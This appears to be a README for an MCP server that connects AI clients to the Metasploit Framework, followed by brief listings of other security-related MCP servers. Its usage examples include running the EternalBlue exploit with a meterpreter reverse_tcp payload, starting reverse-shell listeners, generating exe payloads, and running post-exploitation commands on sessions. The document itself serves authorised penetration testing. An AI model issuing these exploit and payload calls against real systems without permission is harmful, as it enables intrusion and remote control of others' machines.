Metasploit MCP Server

A Model Context Protocol (MCP) server for Metasploit Framework integration.

https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1

pip install -r requirements.txt

MSF_PASSWORD=yourpassword MSF_SERVER=127.0.0.1 MSF_PORT=55553 MSF_SSL=false PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads

msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553

# Run with HTTP/SSE transport (default) python MetasploitMCP.py --transport http # Run with STDIO transport python MetasploitMCP.py --transport stdio

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

{ "mcpServers": { "metasploit": { "command": "uv", "args": [ "--directory", "C:\\path\\to\\MetasploitMCP", "run", "MetasploitMCP.py", "--transport", "stdio" ], "env": { "MSF_PASSWORD": "yourpassword" } } } }

For other MCP clients that use HTTP/SSE:

python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085

Configure your MCP client to connect to:

- SSE endpoint:http://your-server-ip:8085/sse

This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.

- Always validate and review all commands before execution
- Only run in segregated test environments or with proper authorization
- Be aware that post-exploitation commands can result in significant system modifications
- List available exploits:list_exploits("ms17_010")
- Select and run an exploit:run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
- List sessions:list_active_sessions()
- Run commands:send_session_command(1, "whoami")
- Run a post module:run_post_module("windows/gather/enum_logged_on_users", 1)
- Send custom commands:send_session_command(1, "sysinfo")
- Terminate when done:terminate_session(1)
- Start a listener:start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
- List active handlers:list_listeners()
- Generate a payload:generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
- Stop a handler:stop_job(1)

This project includes comprehensive unit and integration tests to ensure reliability and maintainability.

python run_tests.py --install-deps # OR make install-deps

# Run all tests python run_tests.py --all # OR make test # Run with coverage report python run_tests.py --all --coverage # OR make coverage # Run with HTML coverage report python run_tests.py --all --coverage --html # OR make coverage-html

# Unit tests only python run_tests.py --unit # OR make test-unit # Integration tests only python run_tests.py --integration # OR make test-integration # Options parsing tests python run_tests.py --options # OR make test-options # Helper function tests python run_tests.py --helpers # OR make test-helpers # MCP tools tests python run_tests.py --tools # OR make test-tools

# Include slow tests python run_tests.py --all --slow # Include network tests (requires actual network) python run_tests.py --all --network # Verbose output python run_tests.py --all --verbose # Quick test (no coverage, fail fast) make quick-test # Debug mode (detailed failure info) make test-debug

- tests/test_options_parsing.py: Unit tests for the graceful options parsing functionality
- tests/test_helpers.py: Unit tests for internal helper functions and MSF client management
- tests/test_tools_integration.py: Integration tests for all MCP tools with mocked Metasploit backend
- conftest.py: Shared test fixtures and configuration
- pytest.ini: Pytest configuration with coverage settings

- Comprehensive Mocking: All Metasploit dependencies are mocked, so tests run without requiring an actual MSF installation
- Async Support: Full async/await testing support using pytest-asyncio
- Coverage Reporting: Detailed coverage analysis with HTML reports
- Parametrized Tests: Efficient testing of multiple input scenarios
- Fixture Management: Reusable test fixtures for common setup scenarios

After running tests with coverage, reports are available in:

- Terminal: Coverage summary displayed after test run
- HTML:htmlcov/index.html(when using--htmloption)

# CI-friendly test command make ci-test # OR python run_tests.py --all --coverage --verbose

By default, payloads generated withgenerate_payloadare saved to apayloadsdirectory in your home folder (~/payloadsorC:\Users\YourUsername\payloads). You can customize this location by setting thePAYLOAD_SAVE_DIRenvironment variable.

$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"

set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads

export PAYLOAD_SAVE_DIR=/custom/path/to/payloads

"env": { "MSF_PASSWORD": "yourpassword", "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads" // Only add if you want to override the default }

Note:If you specify a custom path, make sure it exists or the application has permission to create it. If the path is invalid, payload generation might fail.

This is a web browser that enables your coding agent, such as Claude Code, to visit websites on your behalf and assist you in identifying bugs or creating UI test cases.

An AI penetration testing tool that uses natural language to operate various security tools like nmap, sqlmap, and metasploit.

A Kali Linux MCP server providing AI assistants with access to security tools.

A feature-rich gateway and proxy that federates MCP and REST services, unifying discovery, authentication, rate-limiting, and observability into a single endpoint for AI clients.

An MCP server for integrating with the Metasploit Framework. Requires Metasploit Framework to be installed and msfrpcd to be running.

Integrates Volatility 3 memory analysis with FastAPI and MCP, exposing memory forensics plugins via REST APIs.

Boost security in your dev lifecycle via SAST, SCA, Secrets & IaC scanning with Cycode.

MCP access to cluster-wide L4 and L7 network traffic, packets, APIs, and complete payloads.

Model Context Protocol Servers Repository for OpenZeppelin Products

Enable AI agents to secure code with Semgrep.

Model Context Protocol server for Skycloak managed Keycloak. Manage clusters, realms, applications, SSO and users from any MCP client.